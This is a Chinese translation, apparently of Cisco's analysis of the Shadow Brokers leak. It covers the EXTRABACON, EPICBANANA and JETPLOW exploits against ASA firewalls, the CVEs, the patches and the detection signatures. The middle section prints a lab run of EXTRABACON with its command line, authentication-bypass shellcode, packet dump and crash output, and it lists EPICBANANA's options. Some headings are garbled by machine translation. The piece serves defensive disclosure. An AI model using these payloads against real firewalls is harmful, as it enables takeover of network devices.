思科修复ShadowBrokers公布漏洞并发布技术分析
一.事件概述
2016年8月15日,一个名为“影子经纪人”(TheShadowBrokers)的黑客组织声称入侵了方程式集团黑客组织的计算机系统,成功窃取了大量机密信息和黑客工具。随后,“影子经纪人”黑客组织在互联网上公布了大部分泄露文件(60%),其中包含多种网络设备的漏洞利用代码。
据了解,在影子经纪人泄露的黑客工具中,EPICBANANA、EXTRABACON和JETPLOW三个漏洞利用模块会影响思科的产品。受影响的设备包括思科ASA系列防火墙、思科PIX防火墙和思科防火墙服务模块(FWSM)。
思科得知此事件后,立即安排思科产品安全事件响应小组(PSIRT)全面负责此次事件中的漏洞修复和应急处理。据悉,在分析了此次事件中受影响的产品后,PSIRT团队立即发布了事件响应报告(ERP),其中简要描述了此次事件中的两大安全漏洞。此外,PSIRT团队还发布了一份安全公告,公告中宣布思科产品在“影子经纪人”事件中的漏洞已经得到修复。此时,“影子经纪人”(针对思科产品)泄露的漏洞利用代码将不再有效。这两个严重的远程代码执行漏洞是:
-CiscoASASNMP远程代码执行漏洞
-CiscoASACLI远程代码执行漏洞
CiscoASASNMP远程代码执行漏洞是一个新发现的漏洞。CiscoTalos安全威胁情报小组和CiscoIPS入侵防御系统都为此漏洞生成了数字签名(用于检测漏洞):
-Snort规则id;3:39885
-思科IPS签名id:7655-0
思科ASACLI的远程代码执行漏洞早在2011年就已修复。目前,思科已经发布了正式的安全公告,他们希望能够告知用户,这个漏洞早就被修复了。思科的安全研究专家也表示,只要用户运行的是最新版本的思科软件,他们就不会受到“影子经纪人”事件的影响。
“影子经纪人”目前已经在网上公布了60%的泄露数据,并将剩余的40%以拍卖的形式出售。此外,他们还表示,如果“影子经纪人”收到一百万个比特币,他们将直接在互联网上公布所有这些数据。据安全研究专家分析,他们公布的一些被盗文件的日期可以追溯到2013年。
二。漏洞概述
根据思科的描述,这次泄露的这些黑客工具主要是利用了思科产品中的两大安全漏洞,其中一个是思科已经知道的,而另一个是从未被检测到的。
0天漏洞是CVE-2016-6366。思科称,该漏洞主要存在于思科自适应安全设备(ASA)软件的简单网络管理协议(SNMP)代码中。该漏洞将允许未经验证的远程攻击者重新启动受影响的产品,并在设备系统中实现远程代码执行(RCE)。远程代码执行漏洞是一个非常危险的安全漏洞,因为攻击者可以利用该漏洞获得对目标设备的完全控制。
除了上述0-day漏洞,思科还发现了试图利用漏洞CVE-2016-6367的漏洞利用代码。据了解,该漏洞是思科产品中非常古老的漏洞,该公司早在2011年就修复了该漏洞。
CiscoAdaptiveSecurityAppliance(ASA)软件的命令行界面(CLI)解析器中存在此漏洞,使得未经验证的本地攻击者能够进行拒绝服务攻击(DoS)。此外,攻击者可能会利用此漏洞在受影响的设备上执行任意代码。
因此,思科发布了安全公告,在公告中提醒全球用户尽快更新思科设备的固件版本。
三。弱点分析
这些文件包含目录和漏洞代码,如下图所示:
在上图中,与CiscoASA系列防火墙、CiscoPIX防火墙和Cisco防火墙服务相关的目录中有三个漏洞利用模块。这三个模块是:EXTRABACON、EPICBANANA和JETPLOW。
下表显示了与每个漏洞利用模块对应的漏洞信息。
①额外培根
EXTRABACON针对的是思科ASA系列防火墙、思科PIX防火墙、思科防火墙服务模块的SNMP代码中的一个缓冲区溢出漏洞。感兴趣的用户可以访问思科发布的安全公告,获取受此漏洞影响的设备的完整列表(CVE-2016-6366)。攻击者可以通过向受影响的Cisco产品发送特别设计的SNMP数据包来触发和利用此漏洞。
下图大致描述了该漏洞的利用过程:
关于EXTRABACON模块的一些信息:
1.用于接收SNMP数据包的接口必须配置并启用SNMP协议。在上图所示的示例中,SNMP协议仅在CiscoASA防火墙的管理界面中启用。然后,攻击者必须使用这个网络接口来发起攻击,因为其他接口(无论是外部的还是内部的)都无法触发这个漏洞。
2.如果您想成功利用此漏洞,攻击者必须知道SNMP社区字符串。
3.只有直接发送到目标系统的网络流量才能触发此漏洞。
4.此漏洞只能由IPv4流量触发。
5.SNMPv1、SNMPv2c和SNMPv3都会受到此漏洞的影响。
6.攻击者可以利用该漏洞在目标设备中实现任意代码执行,获得对目标系统的完全控制,甚至重新加载受影响的系统。
7.CiscoASA系列防火墙软件将受到此漏洞的影响。
EXTRABACON模块的使用
首先,我们可以通过-h命令查看这个工具的帮助信息:
omar@omar-io:~$ ./extrabacon_1.1.0.1.py -h
Logging to /home/omar/concernedparent
usage: extrabacon_1.1.0.1.py [-h] [-v] [-q] {info,exec} ...
Extrabacon (version 1.1.0.1)
positional arguments:
{info,exec}
optional arguments:
-h, --help show this help message and exit
-v, --verbose verbose logging, add more -v for more verbose logging
-q, --quiet minimize logging (not recommended)
在下面的例子中,我们将攻击CiscoASA防火墙的管理接口(SNMP已启用)。我们的实验室地址是192.168.1.66,ASA防火墙配置了SNMPv2,社区字符串是“cisco”。
omar@omar-io:~$ ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable
WARNING: No route found for IPv6 destination :: (no default route?)
Logging to /home/omar/concernedparent
[+] Executing: ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable
[+] running from /home/omar
Data stored in self.vinfo: ASA803
[+] generating exploit for exec mode pass-enable
[+] using shellcode in ./versions
[+] importing version-specific shellcode shellcode_asa803
[+] building payload for mode pass-enable
appended PMCHECK_ENABLE payload eb14bf7082090931c9b104fcf3a4e92f0000005e
ebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80
appended AAAADMINAUTH_ENABLE payload eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8ffffff5
589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80
[+] random SNMP request-id 425297185
[+] fixing offset to payload 49
overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165.165.165.165.131.236.
4.137.4.36.137.229.131.197.88.4
*** output omitted ****
44.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144
payload (133): eb14bf7082090931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531
f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8fff
fff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3
EXBA msg (371): 3082016f0201010405636973636fa58201610204195985210201000201013082015130819106072b0601020101010
*** output omitted ****
0811081108110811081108110811081108110810d7b810309810b7c2414810b07817f816081100500
[+] Connecting to 192.168.1.66:161
[+] packet 1 of 1
[+] 0000 30 82 01 6F 02 01 01 04 05 63 69 73 63 6F A5 82 0..o.....cisco..
[+] 0010 01 61 02 04 19 59 85 21 02 01 00 02 01 01 30 82 .a...Y.!......0.
[+] 0020 01 51 30 81 91 06 07 2B 06 01 02 01 01 01 04 81 .Q0....+........
[+] 0030 85 EB 14 BF 70 82 09 09 31 C9 B1 04 FC F3 A4 E9 ....p...1.......
[+] 0040 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 31 C0 89 /...^.......U1..
[+] 0050 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 25 AC ..........1...%.
[+] 0060 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A0 A5 A5 A5 31 .1......1......1
[+] 0070 FA CD 80 EB 14 BF B0 60 06 08 31 C9 B1 04 FC F3 .......`..1.....
[+] 0080 A4 E9 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 89 ../...^.......U.
...
###[ SNMP ]###
version = v2c
community = 'cisco'
PDU
|###[ SNMPbulk ]###
| id = <ASN1_INTEGER[425297185]>
| non_repeaters= 0
| max_repetitions= 1
| varbindlist
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.1']>
| | value = <ASN1_STRING['xebx14xbfpx82tt1xc9xb1x04xfcxf3xa4xe9/x00
x00x00^xebxecxe8xf8xffxffxffU1xc0x89xbfxa5xa5xa5xa5xb8xd8xa5xa5
xa51xf8xbbxa5%xacxac1xfbxb9xa5xb5xa5xa51xf9xbax....
*** output omitted ****
xa5xa51xf9xbaxa0xa5xa5xa51xfaxcdx80xc3']>
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165
.165.165.165.131.236.4.137.4.36.137.229
*** output omitted ****
44.144.144.144.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144']>
| | value = <ASN1_NULL[0]>
****************************************
[-] timeout waiting for response - performing health check
[-] no response from health check - target may have crashed
[-] health check failed
请记住,为了成功利用此漏洞,我们必须获得SNMP团体字符串和发送数据包的主机的地址。例如:
omar-asa5506(配置)#SNMP-服务器主机管理192.168.1.100版本2
在我的测试案例中,我攻击了版本号为9.4的思科ASA防火墙产品(ASA5506)。这种攻击导致ASA防火墙崩溃,如下所示:
omar-asa5506(config)#
Thread Name: snmp
Page fault: Unknown
r8 0x00000000000000b8
r9 0x00007fffdd4aa590
r10 0x00007fffdd4aa598
r11 0x00007fffcb6bb9f0
r12 0x9090909090909090
r13 0x9090909090909090
r14 0x9090909090909090
r15 0x0000000000000004
rdi 0x00007fffcb6939e0
rsi 0x00007fffdd4aa598
rbp 0x7c8b09837b8d9090
rbx 0x9090c361d0ff3104
rdx 0x00007fffcb693a00
rax 0x0000000000000000
rcx 0x0000000000000000
rsp 0x00007fffcb693a78
rip 0x00000000018e6ccc
eflags 0x0000000000013246
csgsfs 0x0000000000000033
error code 0x0000000000000000
vector 0x000000000000000d
old mask 0xffffffde3e3a5a05
cr2 0x0000000000000000
*** output omitted ****
(2)表香蕉
EPICBANANA漏洞利用模块利用了漏洞CVE-2016-6367,该漏洞将允许未经验证的攻击者对目标系统进行拒绝服务攻击(DoS),甚至在目标设备中实现任意代码执行。攻击者可以通过调用受影响设备中的一些无效指令来触发此漏洞。如果要成功利用此漏洞,攻击者必须知道目标设备的telnet或SSH密码。但是,漏洞CVE-2016-6367已经在思科ASA系列防火墙8.4版中修复。
以下是EPICBANANAexploit模块的功能选项:
bash-3.2$ ./epicbanana_2.1.0.1.py -h
Usage: epicbanana_2.1.0.1.py [options]
EPICBANANA
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-t TARGET_IP, --target_ip=TARGET_IP
target IP (REQUIRED)
--proto=PROTO target protocol "telnet" or "ssh" (REQUIRED)
--ssh_cmd=SSH_CMD path to ssh (default /usr/bin/ssh)
--ssh_opts=SSH_OPTS extra flags to pass to ssh, quoted (ex: "-v" or "-v -1
-c des")
--username=USERNAME default = pix (optional)
--password=PASSWORD (REQUIRED)
--delay=DELAY pause time between sending commands, default 1.0
seconds
--timeout=TIMEOUT time to wait for responses, default 20.0 seconds
--target_vers=TARGET_VERS
target Pix version (pix712, asa804) (REQUIRED)
--versdir=VERSDIR where are the EPBA version-specific files? (./versions
subdir default)
--mem=MEMORY target Pix memory size (64M, 1024M) (REQUIRED for
pix/asa7, ASA for asa 8+)
--payload=PAYLOAD BM or nop (BM default)
-p DEST_PORT, --dest_port=DEST_PORT
defaults: telnet=23, ssh=22 (optional)
--pretend system check, prep everything but don't fire exploit
-v verbose mode (default, recommended)
--debug debug mode (too much)
-q quiet mode (suppress verbose)
以下是EPICBANANA模块需要使用的文件:
bash-3.2$ ls
EPBA.config.orig params.py pexpect.py telnet.py
epicbanana_2.1.0.1.py params.pyc pexpect.pyc telnet.pyc
hexdump.py payload.py ssh.py versions
hexdump.pyc payload.pyc ssh.pyc
(3)喷气犁
JETPLOW模块相当于EPICBANANA模块的持久植入版。思科在其新平台中使用非对称加密算法对软件进行数字签名,以防止此类攻击。数字签名的作用是保证系统中运行的思科软件没有被非法篡改,保证软件的安全性。此外,思科产品中的安全引导模式也可以缓解这一问题。
四。摘要
总的来说,思科在处理“影子经纪人”事件时非常专业。事件发生后,思科的安全团队立即对事件做出了回应。该公司的安全工程师对黑客在互联网上泄露的数据进行筛选,然后对受影响的思科设备进行分类,并对这些漏洞利用工具进行深入分析。
根据思科安全研究专家OmarSantos披露的信息,他们在方程式集团组织的EXTRABACON恶意工具中找到了漏洞CVE-2016-6366的利用代码,在EPICBANANA和JETPLOW中也找到了漏洞CVE-2016-6367的利用代码。桑托斯认为JETPLOW是EPICBANANA的加强版,因为JETPLOW的坚持能力更强。
目前,我们还不知道“影子经纪人”黑客组织的动机,但从目前的情况来看,他们的目标肯定不仅仅是为了得到钱。许多安全研究专家推测,这群黑客很可能正在为未来的攻击做准备,他们可能试图利用这次数据泄露来吸引媒体和国家安全局的注意。
事情的真相是什么?也许是时候回答了。
动词(verb的缩写)参考链接
1.思科安全公告-CVE-2016-6366:
http://tools.Cisco.com/security/center/content/CiscoSecurityAdvisory/Cisco-sa-20160817-asa-SNMP
2.思科安全公告-CVE-2016-6367:
http://tools.Cisco.com/security/center/content/CiscoSecurityAdvisory/Cisco-sa-20160817-asa-CLI
3.思科ASA产品完整性保证概述:
http://www.Cisco.com/c/en/us/about/security-center/intelligence/asa-integrity-assurance.html
4.思科ASA防火墙SNMP配置教程:
http://www.Cisco.com/c/en/us/TD/docs/security/asa/asa96/configuration/general/asa-96-general-config/monitor-SNMP.html
5.思科对“影子经纪人”事件的回应报告:
http://tools.cisco.com/security/center/viewErp.x?alertid=ERP-56516
评论列表(0条)